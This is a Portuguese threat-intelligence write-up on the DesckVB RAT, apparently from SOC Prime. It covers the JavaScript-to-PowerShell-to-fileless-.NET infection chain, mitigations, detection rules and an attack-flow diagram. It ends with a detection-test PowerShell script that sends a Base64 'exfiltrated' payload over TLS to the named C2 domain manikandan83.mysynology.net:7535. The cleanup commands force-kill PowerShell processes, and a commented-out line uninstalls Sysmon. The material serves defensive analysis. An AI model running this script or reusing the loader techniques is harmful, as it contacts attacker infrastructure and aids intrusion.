SOC Prime Bias: Médio

09 Abr 2026 17:59

Análise do DesckVB RAT: Do Carregador JavaScript ao RAT Fileless .NET

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Análise do DesckVB RAT: Do Carregador JavaScript ao RAT Fileless .NET
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O DesckVB RAT é um trojan acionado por JavaScript que se encadeia em um carregador PowerShell para buscar e executar um DLL .NET sem arquivo diretamente na memória. Para ocultar a execução, o carregador utiliza codificação Base64 e ofuscação de strings reversas, abusa do InstallUtil.exe como um LOLBin e inicia um novo processo usando CreateProcessA. Uma vez ativo, o RAT estabelece comunicações C2 HTTPS criptografadas e suporta módulos para keylogging, acesso à webcam e descoberta anti-AV.

Investigação

A análise indica que o estágio inicial do JavaScript escreve um script PowerShell em C:UsersPublic, depois contata um domínio ofuscado para baixar um assembly .NET (por exemplo, ClassLibrary3.dll). O assembly carrega DLLs de suporte, cria um processo suspenso e injeta código de payload enquanto reporta detalhes de configuração, como um domínio e porta maliciosos secundários. A telemetria de rede confirma comunicações criptografadas por TLS do host infectado para a infraestrutura C2 do atacante.

Mitigação

Bloqueie a execução de scripts PowerShell não confiáveis ou não assinados e restrinja o uso do InstallUtil.exe para fluxos de trabalho não administrativos ou inesperados. Aplique controles de saída rigorosos, incluindo inspeção HTTPS onde possível e filtragem de reputação de domínio para infraestrutura maliciosa identificada. Nos endpoints, detecte o uso do CreateProcessA com flags de processo suspenso e alerte para padrões de carregamento de assembly .NET na memória consistentes com injeção sem arquivos.

Resposta

Se forem detectados indicadores, isole o endpoint, interrompa a cadeia de processos maliciosos e capture dumps de memória para análise dos assemblies na memória e regiões injetadas. Remova os artefatos PowerShell descartados de C:UsersPublic e elimine quaisquer DLLs relacionadas ou resíduos de carregadores. Redefina credenciais impactadas, gire segredos expostos e revise logs de firewall/proxy para conexões de saída com os domínios e portas listados.

"graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js["<b>Tool</b> – <b>Name</b>: Loader JavaScript Ofuscado<br/><b>Technique</b>: T1027.006 HTML Smuggling<br/><b>Technique</b>: T1027.008 Payloads Despojados<br/><b>Description</b>: Usa Base64 e strings invertidas para ocultar comandos"] class loader_js tool powershell_script["<b>Tool</b> – <b>Name</b>: Script PowerShell lkpzw_01.ps1<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: Executa com política de execução ignorada"] class powershell_script tool dotnet_assembly["<b>File</b>: Assembly .NET Malicioso"] class dotnet_assembly file installutil_execution["<b>Tool</b> – <b>Name</b>: InstallUtil.exe<br/><b>Technique</b>: T1218.004 Execução de Proxy de Binário de Sistema<br/><b>Description</b>: Executa DLL .NET via binário de sistema confiável"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Name</b>: ClassLibrary3.dll<br/><b>Technique</b>: T1620 Carregamento de Código Reflexivo<br/><b>Description</b>: Carrega assembly diretamente na memória usando reflexão"] class dotnet_reflection malware process_hollow["<b>Action</b> – <b>Technique</b>: T1055.012 Process Hollowing<br/><b>Description</b>: Cria um processo suspenso e injeta código malicioso"] class process_hollow action thread_hijack["<b>Action</b> – <b>Technique</b>: T1055.003 Hijacking de Execução de Thread<br/><b>Description</b>: Sequestra a execução da thread dentro do processo alvo"] class thread_hijack action dll_hijack["<b>Action</b> – <b>Technique</b>: T1574.001 Fluxo de Execução Hijack de DLL<br/><b>Description</b>: Carrega DLLs adicionais na memória para estender a funcionalidade"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Name</b>: Microsoft.exe<br/><b>Technique</b>: T1056.001 Keylogging<br/><b>Description</b>: Deixa keylogger e outros módulos"] class keylogger_module malware c2_https["<b>Action</b> – <b>Technique</b>: T1071.001 Protocolos Web<br/><b>Description</b>: Comunica via HTTPS se misturando com tráfego legítimo"] class c2_https action %% Connections loader_js –>|escreve e executa| powershell_script powershell_script –>|baixa assembly| dotnet_assembly dotnet_assembly –>|executado via| installutil_execution installutil_execution –>|carrega com reflexão| dotnet_reflection dotnet_reflection –>|cria processo suspenso| process_hollow process_hollow –>|usando hijacking de thread| thread_hijack thread_hijack –>|carrega DLLs adicionais| dll_hijack dll_hijack –>|habilita| keylogger_module keylogger_module –>|se comunica com C2| c2_https "

Fluxo de Ataque

Detecções

Execução de Arquivo PowerShell em Diretório Suspeito Usando Política de Execução de Ignorar (via linha de comando)

Equipe SOC Prime
08 Abr 2026

LOLBAS WScript / CScript (via criação de processo)

Equipe SOC Prime
08 Abr 2026

Strings Suspeitas de PowerShell (via powershell)

Equipe SOC Prime
08 Abr 2026

Chamar Classes/Métodos .NET Suspeitos a partir da Linha de Comando PowerShell (via criação de processo)

Equipe SOC Prime
08 Abr 2026

Arquivos Suspeitos no Perfil de Usuário Público (via evento de arquivo)

Equipe SOC Prime
08 Abr 2026

Execução Suspeita do Perfil de Usuário Público (via criação de processo)

Equipe SOC Prime
08 Abr 2026

IOC (SourceIP) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo

Regras de IA SOC Prime
08 Abr 2026

IOC (HashMd5) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo

Regras de IA SOC Prime
08 Abr 2026

IOC (HashSha256) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo

Regras de IA SOC Prime
08 Abr 2026

IOC (DestinationIP) para detectar: Análise do DesckVB RAT: De Loader JavaScript a RAT .NET Sem Arquivo

Regras de IA SOC Prime
08 Abr 2026

Detecção de Comunicação C2 do DesckVB RAT [Conexão de Rede do Windows]

Regras de IA SOC Prime
08 Abr 2026

Detecção de Execução do DesckVB RAT PowerShell e InstallUtil [PowerShell do Windows]

Regras de IA SOC Prime
08 Abr 2026

Execução de Simulação

Pré-requisito: O Check de Pré-voo de Telemetria e Linha de Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a erros de diagnóstico.

  • Narrativa de Ataque & Comandos:
    O invasor, tendo obtido acesso inicial, lança um payload “living-off-the-land” baseado em PowerShell que abre uma conexão TCP encapsulada em TLS para o domínio C2 codificado manikandan83.mysynology.net na porta 7535. O payload codifica um bloco de dados fictício com Base64 (ilustrando T1132.002) e transmite pelo canal TLS. Como as classes .NET do PowerShell são usadas, nenhum binário externo é gravado em disco, refletindo a natureza sem arquivos do DesckVB RAT. A conexão é estabelecida por um processo filho (powershell.exe) que será capturado pelo Sysmon como um evento de conexão de rede com o domínio, porta e sinalizador de handshake TLS exatos que a regra monitora.

  • Script de Teste de Regressão:

    # --------------------------------------------------------------
    # Simulação de Comunicação C2 do DesckVB RAT (PowerShell)
    # --------------------------------------------------------------
    # Parâmetros
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # Payload fictício (codificado em Base64) – representa dados exfiltrados
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # Estabelecer a conexão TCP
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # Encapsular com TLS (SslStream)
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] Handshake TLS concluído com $c2Domain:$c2Port"
    
        # Enviar prefixo de comprimento do payload (4 bytes em big-endian) e depois os dados
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] Payload enviado (comprimento Base64 $($bytes.Length))"
    
    } catch {
        Write-Error "[-] Conexão falhou: $_"
    } finally {
        # Encerramento limpo
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] Conexão terminada."
    }
  • Comandos de Limpeza:

    # Assegure-se de que quaisquer conexões PowerShell NetTCP remanescentes estejam fechadas
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # Opcional: Remover Sysmon (se este for um ambiente de teste único)
    # & "$env:ProgramFilesSysmonSysmon.exe" -u